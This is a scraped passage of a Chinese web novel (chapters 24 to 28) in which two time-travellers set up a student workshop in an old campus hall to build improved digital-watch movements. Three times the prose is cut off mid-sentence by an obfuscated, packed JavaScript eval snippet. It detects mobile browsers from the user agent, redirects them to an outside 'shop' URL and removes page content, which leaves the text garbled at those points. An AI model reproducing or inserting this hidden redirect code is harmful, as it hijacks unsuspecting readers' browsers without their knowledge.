“监测只是第一步。”林知远放下草稿纸,“我需要一个更稳定的环境,但我现在住的地方太小,而且周围都是居民,不方便。” 他看向安玥:“你来找我 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“可以建一个有屏蔽功能的实验室。”林知远接上了她的话。 两人对视,都从对方眼里看到了同样的东西。 “但场地是个问题。”林知远指出关键,“需要足够大、足够隐蔽、租金便宜,还要有电力等基本条件。” 安玥笑了:“这个我想到了。学校有一些废弃的建筑,长期闲置。如果我们以学生科技实践,或者是勤工俭学创业的名义去申请,说不定能低价使用。” “学生科技实践?”林知远挑眉,“你打算把我这个前未来的科学家,包装成大学生科技创新?” “你现在不就是大学生吗?”安玥理直气壮,“陆恒同学,机械系大三,成绩优异,动手能力强,有志于科技创新——这个人设很完美啊。” 林知远罕见地没有反驳,只是嘴角微微抽动了一下。 “所以,”安玥趁热打铁,“我们现在需要一个具体的方案。做什么产品,需要什么设备,场地有什么要求,预算多少,怎么分工——把这些都想清楚,然后我去找学校谈。” 那天下午,两人在小院里待了整整三个小时。林知远负责技术方案:电子表的电路如何优化,元器件如何选型,生产线如何设计,测试标准如何制定。安玥负责商业部分:成本估算,市场定位,销售渠道,人员组织。 当夕阳西斜时,一份简陋但完整的电子表机芯改良及小规模试制方案已经摆在了桌上。 “接下来,就是找场地了。”安玥收起方案,眼睛亮晶晶的,“我明天就去找王主任打听。” “我和你一起去。”林知远说。 安玥有些意外:“你?” “既然要包装成学生科技实践,我这个技术核心总得露个面。”林知远淡淡道,“而且,场地的技术条件,我需要亲自评估。” 安玥笑了:“好。” 25. 第 25 章 安玥第二天一早就去找了系里负责学生工作的王主任。她把“学生科技实践”、“勤工俭学创业”、“学以致用服务社会”这些好词都用上了,委婉地提出想找个合适的空地,开展电子小产品改良的实践活动。 王主任推了推眼镜,态度温和但透着为难:“安玥啊,你有这个想法是好的。但是场地……学校有规定,任何校产的使用都需要审批。你说的那种空置建筑,要么是危房不能用,要么是有其他规划。而且,你才大一,搞这种实践项目,按惯例至少得有指导老师牵头,高年级学长负责,还要有系里立项……” 一盆冷水浇下来。安玥这才意识到,自己把事情想简单了。在这个一切讲究组织、级别和资历的年代,她一个大一新生,想独立使用学校房产,哪怕是最破的,也近乎天方夜谭。 她不死心,又跑了后勤处、校产办,结果大同小异。态度好的让她回去写正式申请报告,走流程;态度一般的直接摆手说不可能;甚至有老教授劝她:“同学,好好学习是正途,别老想这些不着调的事。” 傍晚,安玥去了林知远的小院,脸上写满了沮丧。 “不行。”她把包扔在桌上,“规矩太多,我还不够格。” 林知远正在调试仪器,闻言头也没抬:“意料之中。” “那怎么办?”安玥有些焦躁,“没场地,一切都是空谈。我们总不能在你这个小院里开工吧?噪音、物料、人员进出,邻居马上就会举报。” 林知远终于停下手中的工作,擦了擦手,看向她:“你之前的思路没错,需要很多东西。” “什么东西?” 林知远走到他那堆废旧零件旁,“你明天去找王主任,约他后天下午过来一趟。就说我们有个初步的技术构想,想请老师现场指导。” 安玥疑惑:“来这里?看什么?” 林知远没有直接回答,而是指着他桌上那堆元件和图纸:“今晚加个班,我们做个能打动人的样品出来。” 那一晚,安玥负责打下手,递工具,找元件,记录数据。林知将那些普通的元器件拆解、焊接、组装。 凌晨三点,一个连接着复杂线路的板子呈现在桌上。板子中央,嵌着一小块从旧计算器上拆下来的显示屏。 林知远接上电源,按下几个自制开关。 液晶屏亮起,先是乱码闪烁,几秒后,稳定地显示出一行数字。 “这是……”安玥瞪大了眼睛。 “一个简化的电子表计时模块。我重新设计了,目前测试的误差可以控制在正负3秒以内。” 他顿了顿,补充道:“市面同类低端电子表的日误差,通常比这个要久得多。” 安玥不懂具体技术,但她懂市场中的精度提升数倍意味着什么。 “成本呢?”问。 “目前用的都是废旧件和市场上最便宜的通用件。” “这够吗?”安玥指着那块粗糙的板子,“能打动领导?” “单是这个不够。”林知远关掉电源,“还需要一个故事和一个前景。” 第二天下午,安玥硬着头皮再次敲开了王主任办公室的门,这次她手里提着个小布包。 “王主任,不好意思又打扰您。”安玥诚恳地说:“我和机械系一位很厉害的师兄,利用课余时间做出了一点东西,是关于电子表精度改良的,特别想请您去指导一下,看看方向对不对,有没有继续深入的价值?” 王主任本来打算敷衍几句就送客,但他是学机械的,对精密的东西天生有好感。 听到这里倒是有了点兴趣。“哦?你们还真捣鼓出来了?在哪儿呢?” “就在那位师兄租的院子里,离学校不远。”安玥赶紧说,“不会耽误您太多时间,就请您看一眼,给把把关!” 也许是好奇,王主任最终还是点了头。 半小时后,王主任站在了林知远的小院里。看着满桌的电子元件,以及那个简陋模块,他脸上漫不经心的表情慢慢收了起来。 “你就是陆恒?我知道你。这是你们做的?”他戴上眼镜,仔细看着那个模块。 林知远上前一步,“王主任好。我是机械系大三的陆恒。这个模块是我和安玥同学一起尝试的。主要思路是通过优化设计和加入软件补偿来抵消误差。” 他拿起模块,快速讲解了几个关键改进点。 王主任听着,不时点点头,甚至自测了几个点。他是懂行的,虽然不完全明白林知远说的补偿具体怎么实现,但这个思路和潜力他看懂了。 “有点意思。”王主任放下模块,看向林知远和安玥,“你们想继续往下做?做到什么程度?” 安玥接过话头,“王主任,我们想如果能有个稍微固定点的地方,把线路优化得更稳定,再试试其他功能。如果能做出更成熟的样品,说不定能体现我们学校学生学以致用的水平,如果有可能,将来能不能尝试和校办工厂或者本地小厂合作,把这种改良思路推广一下?也算我们学生为祖国建设做点微小的贡献。” 王主任沉吟了。作为负责学生工作的老师,他当然希望看到学生出成绩,这种科技实践成果,如果真能搞出来,对他来说也是份政绩。 “场地嘛……”王主任开口,“学校确实有一些闲置的旧房产,用于支持学生实践活动,也不是完全没有先例。但是……” 他话锋一转:“你们毕竟还是学生,尤其是安玥,才大一。单独把场地给你们,责任太大,流程上也难办。” “除非,”王主任看向林知远,“陆恒同学,你是大三,技术上也看来能挑大梁。如果以你为主要负责人,安玥协助,再找个系里的老师挂个名当指导,以‘机械系学生科技实践小组’的名义申请,倒是可以试试打报告。” 他顿了顿,又说:“不过,丑话说在前头。学校暂时只能给你们提供临时场地,维修自理,安全自负。这个事不能影响正常学习。如果搞不出名堂,或者惹出什么麻烦,学校随时收回。你们能接受吗?” 安玥看向林知远。 林知远面色平静,点了点头:“我们可以接受。谢谢王主任给我们这个机会。” “先别谢。”王主任摆摆手,“成不成还得看报告怎么写,还得看具体哪里能批给你们。我帮你们问问,有消息通知你们。” 接下来的几天,安玥和林知远分工合作。林知远负责完善技术方案,甚至做出了第二个精度更高的测试模块。安玥则绞尽脑汁,在王主任的指点下,撰写报告。 报告里的指导老师一栏,填了王主任的名字。 一周后,好消息传来。 王主任把他们叫到办公室,递过一把锈迹斑斑的钥匙:“东南角的旧礼堂知道吧?那边比较破旧,但也最清静。学校批了,暂时给你们实践小组用,期限先定半年。记住约法三章。每月象征□□二十块钱管理费,算是水电和场地损耗。” “谢谢王主任!我们一定好好干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148527|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不给学校丢脸!” 两天后,安玥和林知远到了省城大学东南角那栋二层小楼前。 省城大学东南角,挨着围墙,有栋孤零零的灰砖二层小楼。据说以前是国外专家援建时的临时礼堂,后来专家走了,礼堂荒了。 “就这儿了。”她拍掉手上的灰,对跟在身后的林知远说。 林知远推了推眼镜,“屋顶大概率漏雨,墙体我看有裂缝,承重需要评估。老鼠窝的数量可能比房间多。”他罗列着问题,末了补充一句,“而且,离宿舍区太远,晚上不安全。” “所以我们才能有机会啊!”安玥绕过一堆碎砖,试图从破窗户往里看,“王主任说了,这地方学校早就想拆,但没钱。我们只要象征性给点管理费,承担维修,就能用。这可是独门独院两层楼!” “维修的钱可能比租金贵。” “我又不打算把它修成大会堂。”安玥回过头,脸上是压不住的兴奋,“其他的,慢慢来。” 她从随身的帆布包里掏出一个硬纸盒打开。里面是一只银白色的电子表。 林知远拿起表,按了下侧面的按钮,屏幕亮起,显示着时间。“普通电子表,深圳那边小厂生产的,市面上不少见。走时精度一般,功耗大,屏幕寿命短。” “我知道。”安玥点头,“所以我问王丽娟她上海的表哥帮忙寄了两只不同厂家的,又去百货大楼买了最贵的牌子机械表,还从系统里搞到了一只国外的最新款。” 她从包里又掏出几只表,摊在旁边的破窗台上。有国产的,有表盘花里胡哨的港货,还有一她用纪元币从系统兑换来的符合当前时代工艺的样品。 “你看,”她指着那只国外样品,“显示清晰,省电,还有简单的闹钟和秒表功能。国内的这些,”她又指向国产货,“要么功能单一,要么耗电快,屏幕暗。百货大楼那只贵得抵普通工人两个月工资。南方这种电子表,便宜的二三十,但质量不稳定。” 林知远拿起那只国外样品,仔细看了看背面,又掂了掂重量。“芯片集成度不高,但设计优化得好。你想仿制这个?” “不完全是仿制。”安玥眼睛发亮,“我们改良。” 她说出最关键的计划:“我们不直接卖成品。我们卖机芯,改良后的核心模块。外壳、表带这些,可以让别的厂子做,或者我们提供设计图。这样启动资金需求小,技术门槛却在我们手里。” 林知远认真看了看安玥。 “技术层面可行。”他放下手表,“我可以做。但元器件采购、生产流程、质量检测……这些你考虑过吗?” “所以我们需要这个地方。”安玥指着破礼堂,“一楼清理出来,做组装和测试。二楼可以当仓库,也能隔出个小房间给你当实验室。采购我来想办法,我有特殊渠道能搞到一些关键元件。生产和检测流程……这不就需要你这位大科学家来设计了吗?” 她凑近一点,“我们需要原始积累,电子表只是个开始,一个跳板。” 林知远沉默了。 “管理费你有吗?”他问。 安玥笑了:“一个月二十块我还是出得起。” 林知远扯了扯嘴角,“维修工具和基础材料,初期需要一笔投入。电路设计和样机试制,至少需要两周。” “这些钱我有一些。”安玥拍拍帆布包,“工具和材料清单你开给我。两周没问题,我们可以先慢慢收拾这地方。” 事情就这么定下了。 26. 第 26 章 接下来的几天,安玥先去找了后勤处的张主任,软磨硬泡下拿下了三年使用协议。然后拿着林知远开的清单开始满城跑。 清单上的东西五花八门,有些在五金店和电子市场能买到,有些则需要特殊渠道。 安玥再次动用了系统。她每次兑换量不大,混杂在从市场上采购的同类物品中,尽量不引人注意。 同时,她开始以勤工俭学实践小组的名义招兵买马。 李红英是第一个报名的。王丽娟有些犹豫,但在安玥承诺不影响学习,按工时算补助,还能学实用技能后也加入了。她心思细,安玥计划让她跟进流程和数据。 张秀兰听说有补助,而且就在校内,也自愿加入。 安玥甚至还通过李红英,从机械系和电子系带来来了两个家境困难但对动手实践特别感兴趣的大二男生,一个叫陈卫国,一个叫吴建设。 旧礼堂的清理是个大工程。周末,安玥的小团队全员上阵。清理出不知哪个年代的破桌椅板凳一大堆。 林知远主要负责检查和规划,哪里需要修补屋顶,哪里可以拉电线,哪面墙的承重结构还算完好可以依托着搭工作台,指挥两个男生搬东西、固定架子,效率奇高。 “林师兄懂得真多。”陈卫国一边拧着螺丝,一边小声对吴建设说,“不像个学生,倒像个老工程师。” “听说他以前在厂里待过。”安玥适时地给出合理解释,抹了把汗,“大家跟着林师兄好好学,都是真本事。” 清理工作用了整整一个周末。 周一晚上,安玥没去摆摊。她带着买来的灯泡和电线,和林知远两人留下来做最后的电路检查。旧礼堂原本有电闸,但线路老化严重。林知远打着旧手电,仔细检查着裸露的线头和锈蚀的开关。 “这条线不能用,绝缘层全脆了。闸刀得换。”他一边说,安玥一边在小本子上记。 “你以前在未来也这么亲自动手修东西吗?”安玥忍不住问。 林知远手上的动作停下,“早期会。后来大部分时间在实验室,或者看数据报告。”他的声音有些缥忽,“动手解决具体问题,有时候比处理抽象的理论更让人踏实。” 安玥似懂非懂地点点头。对她来说,无论是前世还是今生,解决具体问题、赚到钱就是最大的踏实。 就在这时,系统面板突然自动弹了出来,并伴随着一阵提示音。 安玥下意识地瞥了一眼正在专心对付电线的林知远,迅速将意识沉入系统。 面板上是一条官方全域公告: 【前沿科技通报:经由无限科技集团的时序重建项目取得里程碑式突破。项目组宣布,已在实验室环境下,成功实现可控时空坐标短暂回溯,误差率低于0.1%。该技术标志着对时空结构操作从理论验证迈入应用阶段。具体技术细节及潜在应用场景暂未公开。】 公告后面,跟了一大堆安玥看不太懂的参数和祝贺词,以及公共频道的讨论: “牛X!时序重建真的成了?!” “这么说……是不是意味着定向考古成为可能?甚至……” “楼上别瞎猜,公告说了是‘短暂回溯’,离传送活人还差十万八千里呢。” “那也够吓人了好吗!这意味着他们对时空的掌控力上了一个大台阶!” “那个集团最近动作好多,又是收购旧历技术,又是技术突破,他们到底想干什么?” 安玥盯着面板,内心惊讶于未来的技术已经走到这一步了。Z如此执着地寻找林知远留下的资料,是否与这项突破有关? 她想到了Z,他和她终究是隔着时空。他的世界在攻克时空回溯,而她的世界,还在为赚钱发愁。 不过她没有把公告内容告诉林知远的打算。林知远对Z的抵触和戒备很深,这个消息只会加剧他的焦虑,可能促使他采取激进的行动,反而打乱他们现在好不容易起步的计划。 这公告在安玥的理解里,大概就是些物品之类的,跟大活人穿越完全是两回事。 这则公告更像是Z那个世界内部的科技新闻,虽然震撼,但离她当下的现实困境还很遥远。 “怎么了?”林知远的声音传来。他不知何时已经接好了那段线,正用绝缘胶带缠绕,目光似乎不经意地扫过她。 安玥早已关掉系统面板,脸上适时地露出一丝走神被抓住的赧然:“啊?没事,就是突然想起明天采购清单好像漏了两样东西,走神了。”她晃了晃手里的本子。 林知远看了她一眼,没说什么,继续手里的工作。 “电闸基本没问题了,老化线路都做了隔离。明天换上新闸刀和保险丝就能试电。”林知远结束最后一道包扎,拍了拍手上的灰,“光源的问题,我建议先拉几条临时线,用功率低点的灯泡。等有了收入,再考虑整体布线和更稳定的照明。” 他的思路完全沉浸在眼前这个具体空间的改造上。 安玥也把心思拉回现实,点点头:“好,听你的。光源的事情我来解决。”她脑子里已经开始盘算,如何用最省钱的方式弄到一批灯泡和电线。 夜色渐深,两人检查完毕,锁好门。 站在杂草丛生的小院外,回望黑暗中那栋灰砖楼,安玥心中那份因系统公告而起的些微波澜被眼前的现实压了下去。 “走吧。”她对林知远说,“明天还得继续。” 林知远点点头,两人身影一前一后融入夜色中。 * 省城大学的秋意在几场雨后变得真切起来。 旧苏联专家礼堂——如今被成员们私下称为“小楼”的地方,门口的地面上是用毛笔写在硬纸板上的“精时小组工作室”牌子。 时间过去了几个月,小楼一楼最大的那间屋子,如今被划分成几个区域。 靠窗的两张旧书桌拼成的工作台,是林知远画图、测试部件的地方。旁边搭起的几条长桌是陈卫国、吴建设焊接和调试的区域,上面摆着电烙铁、松香盒、还有几台用旧零件拼凑改造的简易测试仪。最里面靠墙的桌子光线最好,是张秀兰负责装配和检验的位置,桌面上铺着绒布,各种细小的元件分门别类放在小格子里。 王丽娟的办公区在门边,一张课桌上面放着账本、算盘和一沓沓她手抄的记录表格。李红英则是哪里需要人手她就出现在哪里。 此刻,小楼里的气氛算不上轻松。 工作台上摊着一张电路图,林知远正用铅笔在上面标记着什么。陈卫国和吴建设凑在旁边,盯着图上某个被圈出来的部分,小声讨论着,脸上带着困惑。 林知远没立刻回答,拿过那块板子,对着光仔细看了看焊点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157828|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又接过示波器的探头自己测了几个点。 安玥刚从外面回来,手里提着个布兜,里面装着托食堂师傅帮忙留的馒头和一点咸菜,这是今天大家的午饭。她看到这情景,放轻脚步,把布兜递给守在炉子边的李红英,也凑了过去。 “还是老问题?”她低声问。 林知远“嗯”了一声,目光没离开示波器屏幕。 这是他们推进机芯量产过程中,遇到的诸多技术坎之一。 安玥懂他的意思。理想的设计需要现实的材料和工艺来承载。而他们手头能调动的资源,离理想还很远。 “那……有没有办法绕过去?”她问,“调整设计,降低对元件的要求?” 林知远终于抬起头,看了她一眼,“绕过去的话性能就要打折扣。” “或者筛选一下。”林知远放下探头,声音平稳,“把买来的元件全部测试一遍,挑出参数最接近的一批用。废品率会很高,成本会增加。” 陈卫国和吴建设对视一眼,都露出心疼的表情。那意味着巨大的工作量。他们现在人手有限,课余时间都扑在这上面了。 安玥脑子里飞快地算着账。提高成本、增加工时,意味着他们本就微薄的利润空间可能被进一步压缩,甚至可能亏本。但如果不解决稳定性问题,东西做出来也是次品,卖不出去。 “筛。”她没犹豫太久,做了决定,“咱们第一批宁可少做点,也要把口碑做起来。卫国,建设,测试方法和标准林师兄定,你们辛苦点,咱们一起筛。红英,你帮他们打下手,记录数据。” 她又转向王丽娟:“丽娟,重新核算一下成本,把筛选损耗和增加的人工算进去。看看咱们第一批做多少能不赔本。” “好的。”王丽娟立刻拿起铅笔。 李红英已经撸起了袖子:“行,我来分装编号!” 陈卫国和吴建设也打起了精神:“我们没问题!” 林知远没说话,重新拿起了铅笔在图纸边缘空白处开始罗列测试项目和参数范围。 安玥看着眼前这群人。不过是大半年的光景,他们从最初的好奇和兴奋,到现在真正开始面对具体而琐碎的困难,每个人的脸上都多了些不一样的东西。 这次的事只是一个坎。后面还会有采购的坎、生产的坎、销售的坎、管理的坎。但有些路必须一步一步走。 下午的课安玥差点迟到。她一路小跑进教室,在后排找了个位置坐下。她摊开课本,教授已经开始讲解复杂的机构运动分析图。她强迫自己集中精神,拿起笔开始记笔记。 前世的知识底子还在,但这辈子的教材、老师的思路、甚至一些术语的表达方式都不同,她必须投入足够的精力才能跟上,并且要控制成绩在一个“优秀但不过分惊人”的合理范围。这同样需要技巧和心力。 课间,前排两个女生低声议论着什么,偶尔回头看她一眼,眼神里有好奇,也有点别的什么。安玥隐约听到“外面”、“鼓捣东西”之类的词。她垂下眼,假装整理笔记。 她知道自己在系里甚至学校里,已经渐渐有了一点名气。一个家境困难的大一女生,不声不响地拉起一个小团队,好像还在搞什么电子东西。有人觉得她厉害,有人觉得她不务正业,更多人是在观望。她必须更小心,不能让别人抓住成绩不好的把柄。 27. 第 27 章 放学后,她去图书馆查了一些有关资料。 等她抱着一摞书回到小楼时,天已经黑了下来。小楼里亮起了昏黄的灯光,那是他们临时拉的线,接了几个灯泡。 炉子上的水壶咕嘟咕嘟响着,空气里弥漫着焊锡和松香的味道,还夹杂着一丝烤馒头的焦香。 “安玥回来啦!”李红英第一个看见她,招呼道,“馒头烤好了,快来吃,就着热水!” 王丽娟从账本里抬起头,推了推眼镜:“安玥,初步核算出来了,如果严格筛选,第一批最多做五十个机芯,材料成本会超支大概百分之十五,加上预估的工时,可能……刚好持平,没有利润。” 张秀兰停下手里精细的组装活,小声说:“我觉得稳当点好。东西不好,卖出去也丢人。” 陈卫国和吴建设正在记录数据,闻言也看过来。 林知远坐在工作台旁,就着灯光在看一本书,面前摊着下午写的测试清单,没参与讨论,但显然在听。 安玥放下书,接过李红英递过来的烤馒头,咬了一口。 “那就先做五十个。”她咽下馒头,“不图赚钱,就图把流程跑通,把东西做好。丽娟,按这个计划重新做预算。卫国,建设,红英姐,筛选工作就靠你们了。标准听林师兄的。” 她看向大家,“咱们第一步,不求快,不求多,就求个稳。” 几个年轻人各自点头,回到了自己的位置上,小楼里重新响起各种细碎的声响。 安玥走到窗边,思索着下一步。 她吃完最后一口馒头,拍了拍手上的碎屑,转身走向工作台。 接下来的三周里,小楼的灯亮到深夜的频率越来越高。 陈卫国和吴建设从一开始的磕磕绊绊到后来能熟练运用,就算是手指被焊锡烫出好几个小疤,却连喊疼的时间都没有。李红英负责给所有元件编号登记,写满了厚厚一沓记录纸。王丽娟的账本翻了新的一页,每一笔支出都标得清清楚楚。张秀兰依然话最少。经她的手通过的半成品,返修率是最低的。 林知远是所有人里待在工作室时间最长的。没有排课的时候,他从下午一直待到深夜,有时甚至干脆不回去。安玥后来才知道,他那张用旧门板改的行军床就搭在二楼堆放杂物的小隔间里。她问过一次,他只说“来回太费时间”,之后她便不再问了。 至于安玥自己,她几乎把一天掰成三天用。上午上课,下午课后到小楼,晚上十点回宿舍赶作业,熄灯后拉上床帘处理系统里的交易。她的纪元币账户依然稳步增长,防护Buff常年续满,环境稳定锚覆盖了小楼和宿舍两个主要活动区域。 第一批机芯交付的那天,收货商赵老板在小楼里转了三圈,拿起成品反复端详,又随机抽了几个连到测试仪上看数据。整个过程没说话,小楼里其他人也不敢出声。 “比上次寄的样品还稳。”赵老板终于放下东西,“就是外壳差了点,太素。” “外壳是配套厂现成的,我们只做核心。”安玥赶紧说,“赵老板,你提的需求,我们后续可以按你指定的规格定制外壳。” 赵老板看了她一眼,似乎对这声“赵老板”挺受用。 “行。这五十个我按说好的价收。下批我要两百个,外壳用这个样式。”他从公文包里掏出一张画在牛皮纸上的简图,“能不能做?” 安玥余光瞥见李红英猛地抬头,赶紧说:“当然能做,保证质量和这次一样。” “二十天。”赵老板伸出两根手指,“二十天交货,价格我每片上浮三十块钱。” 安玥没有立刻回答。她脑子里飞速转着,林知远站在她侧后方,她能感觉到他的视线。 “二十五天。”她说,“二十天风险太大,万一赶工出问题,砸的是我们的招牌。” 赵老板盯着她看了几秒,忽然笑了一下。 “行,二十五天。小姑娘,有魄力。”他把图样拍在桌上,“定金下周一汇到你们账户,凭汇款单来取。” 人走了,小楼里安静了几秒。 然后李红英第一个叫出声:“两百个!两百个!” 陈卫国和吴建设击了一掌。王丽娟扶了扶眼镜,嘴角是压不住的笑,手指已经在账本上快速比划。张秀兰站在原地拍手。 安玥没动,她拿起那张图样,转身走向林知远。 “外壳这个结构,机芯布局要调吗?” 林知远接过图样,看了几秒。 “位置要改,形状需要微调。”他放下图纸时,“一晚上能出方案。” “那就明天白天调参数,晚上让卫国他们试焊。”安玥点头,开始在心里排计划,“采购清单我今晚重新过一遍。红英姐,下周开始要排班了,咱们的人手……” 她一条一条说着,小楼里其他人渐渐安静下来,听着她的话,不自觉地点着头,各自开始盘算自己那摊活儿。 那天深夜,安玥回到宿舍,室友们已经睡熟了。 她拉上床帘,调出系统面板。 有一段时间没和Z说话了。她点开私聊窗口,却不知道该说什么。她最近没上新货,小楼的事也没法解释。 正犹豫,消息先跳了出来。 Z:“笔友111,你们现在还在勘探吗?那边的环境冷吗?” 安玥愣了一下。 她回复:“挺冷的。” Z:“那在野外环境下怎么取暖?” 安玥想了想,打下:“生炉子。” 发出去她才意识到,对Z而言,炉子应该是很远古的东西。 但Z没有追问。 他只是回复:“听起来很原始,但好像也挺好。” 安玥盯着这行字,有点不知道该回什么。 她最后打了两个字:“还行。” 关掉面板,她在黑暗里躺了一会儿,脑海里突然忍不住地去想:他们隔着几百年年。 不可能见面的。 她翻了个身,把被子拉过头顶。 一场大雪过后,由于小楼没有暖气。安玥和大家伙用旧铁皮桶改了两个炉子,一个烧水,一个摆在脚边取暖。煤球是李红英从校办工厂的关系户那儿磨来的,价格比市面上便宜,但要自己去拉。 第二批机芯就在这样的天气里攒了出来。 张秀兰的手指生了冻疮,不时地把手放进袖子里捂一会儿,等不疼了继续干活。安玥发现后拿来两副棉手套,张秀兰推了半天,最后只肯戴一只,说戴两只手不灵活。 王丽娟感冒了一场,请了两天假,第三天戴着口罩又坐回了那张课桌前。安玥让她回去休息,她只是摇头,“账不能断,一断就对不上了。” 林知远瘦了一圈。安玥有时深夜离开小楼,回头看他还在,她不知道他每天睡多久,甚至不知道他有没有睡觉。 她自己也累。她白天在课堂上听讲、脑子里却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168006|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在排生产计划。深夜躺在床上,闭上眼全是待办事项。 早上,她还是会在固定的时间起床,洗漱,背起书包,先去食堂打饭,现在小楼里的人更多了,然后踩着尚未完全铲清的积雪去小楼。 第一批交付后第四十五天,赵老板的第二批尾款到账。 那天晚上,安玥把所有人叫到炉子边,每人发了一个厚厚的信封。 “这是这几个月大家该得的。”她说,“咱们小组的第一笔分红。” 李红英拆开信封数了数,眼睛瞪得铜铃大:“安玥,这……这也太多了!我就干点搬运、烧水的活儿……” “搬运、烧水、管物料、盯排班。”安玥一项一项数给她听,“没有你,这些东西还在仓库里躺着呢。” 王丽娟捏着信封,难得没有第一时间记录。她的指尖摩挲钞票,“我爸厂里停工好几个月了,这个月终于不用他寄钱给我了。” 张秀兰没说话,把信封仔细叠好,贴着里衣的口袋放进去按了按。 陈卫国和吴建设捧着信封傻笑,互相推搡着说周末要去百货大楼买那双看了很久的运动鞋。 林知远靠在墙边,手里也拿着一个信封。他没拆,只是拿在手里。 安玥走过去。 “嫌少?”她故意问。 林知远抬眼,似乎想说什么,最终摇头。 “够多了。” 小楼里的灯光比几个月前更亮了些,他们新添了几盏灯。几个年轻人叽叽喳喳讨论着这笔钱要怎么花,下一批订单要怎么赶,年后能不能再招几个帮手。 安玥靠在工作台边,手里捧着搪瓷缸子。她忽然想起一年前的自己。那时候她刚来到这个时代,活得惊心动魄。 那时候她不知道自己能活多久,更不知道一年后会到这里。 系统面板悬浮出现,有一条新消息,她没点开。 她知道是谁。 炉子烧得很热,她的眼皮开始发沉。迷迷糊糊间,听见李红英的大嗓门在说:“……安玥最近瘦好多,是不是没好好吃饭啊?” 然后是王丽娟的声音:“她总说吃了吃了,不知道真吃假吃……” 再然后是张秀兰的声音:“馒头在炉边热着,她晚上走的时候会拿……” 安玥没睁眼,嘴角慢慢弯了起来。 晚上回宿舍后,安玥才点开Z的私聊。 Z:“最近很少听你分享勘探见闻了。” 安玥看着这行字,打字:“最近没怎么出去。在搞一个算是后勤基地。” Z:“基地?” 安玥:“嗯。一个小据点。能遮风挡雨,能摆开工具,能存东西。” 她顿了顿,又打了一句:“挺破的。屋顶漏过雨,窗户是破的,我们自己修的。” 发出去她才觉得这话说得太随意了,哪有勘探队员跟客户汇报自己修窗户的? 但Z的回复很快:“听起来很不错。” 安玥:“破窗户不错?” Z:“是你们能自己修好它,很不错。” 安玥盯着这行字,她想起白天站在小楼二楼,看着窗外枯草被风吹得伏倒又立起。林知远在旁边调试仪器,楼下李红英在指挥搬箱子,王丽娟的算盘声脆脆地响。 她想把这些告诉Z,又不知道该怎么说。 最后只是打了一行:“会越来越好的。” Z:“嗯。我相信。” 28. 第 28 章 腊月二十,学校开始放寒假。 小楼的人少了大半。李红英回了老家,王丽娟回父母那边过年,陈卫国和吴建设各自回乡。张秀兰留了下来,她家远,车票贵,来回一趟不少钱。安玥让她别回了,就住小楼,两个人也有个照应。 林知远也没走,他本来就没有老家可回。 年三十那天晚上,安玥从食堂打了几个菜,又开了一瓶橘子汽水。三个人围在炉子边,用搪瓷缸子碰了碰。 “新年快乐。” “新年快乐。” 窗外有人在放鞭炮,噼里啪啦的声响传过来,很热闹。 安玥坐在炉边,手里捧着汽水。 系统面板亮了一下。 她点开。 Z:“笔友111,新年快乐。” 安玥看着那四个字,打下一行:“新年快乐,Z先生。” 窗外又一阵鞭炮炸响,张秀兰小声惊呼。林知远侧头看向外面,炉火映在他脸上,明明灭灭。 “安玥,汽水还有吗?”林知远回过头。 “有。”她拿起瓶子给他满上,“管够。” 正月十五过后,小楼的人陆续回来了。 李红英从老家带来一兜子冻梨分给大家。陈卫国和吴建设穿着新买的运动鞋,走起路来格外意气风发。王丽娟带回一本新的空白账本,封皮上写着“精时小组的第二年”。张秀兰悄悄递给安玥一双鞋垫,转身就跑去工位了。 安玥低头看那鞋垫,尺寸正好是她的码。 赵老板的订单已经排到了开春之后。第三批、第四批、第五批,数量也在不断增长。 小楼的工作台增加到三张,成员从最初的七个人扩充到十一人。新来的几个都是机械系和电子系的贫困生,经王主任介绍、安玥面试后加入。安玥给他们定了规矩:成绩不能掉,工时不超限,该上课上课,该休息休息。 新来的学弟叫她“安师姐”,语气里带着几分崇拜。安玥每次听到都觉得有点恍惚——一年前她也是个大一新生,如今她已经是师姐了。 三月,积雪消融,礼堂门口的枯草丛里冒出第一茬绿芽。 安玥站在二楼窗边,看着远处操场上零星的晨跑身影。 林知远不知什么时候也上来了,手里拿着张新画的图纸。 “外壳厂那边出了新样品,你过目。”他把图纸递过来。 安玥接过,低头看着那些线条和数据。 一年前他们面对面坐着,每一句话都在互相试探;如今图纸在他们手里传来传去,早已不需要多余的说明。 楼下传来李红英标志性的大嗓门:“吴建设!你把这箱子放那边,别堵着过道!” 王丽娟的算盘声不断。张秀兰伏在工作台前,手边是整齐码放的元件和半成品。新来的几个学弟学妹穿梭其间,搬货、记录、测试,各自忙碌。 安玥收回目光,继续看图。 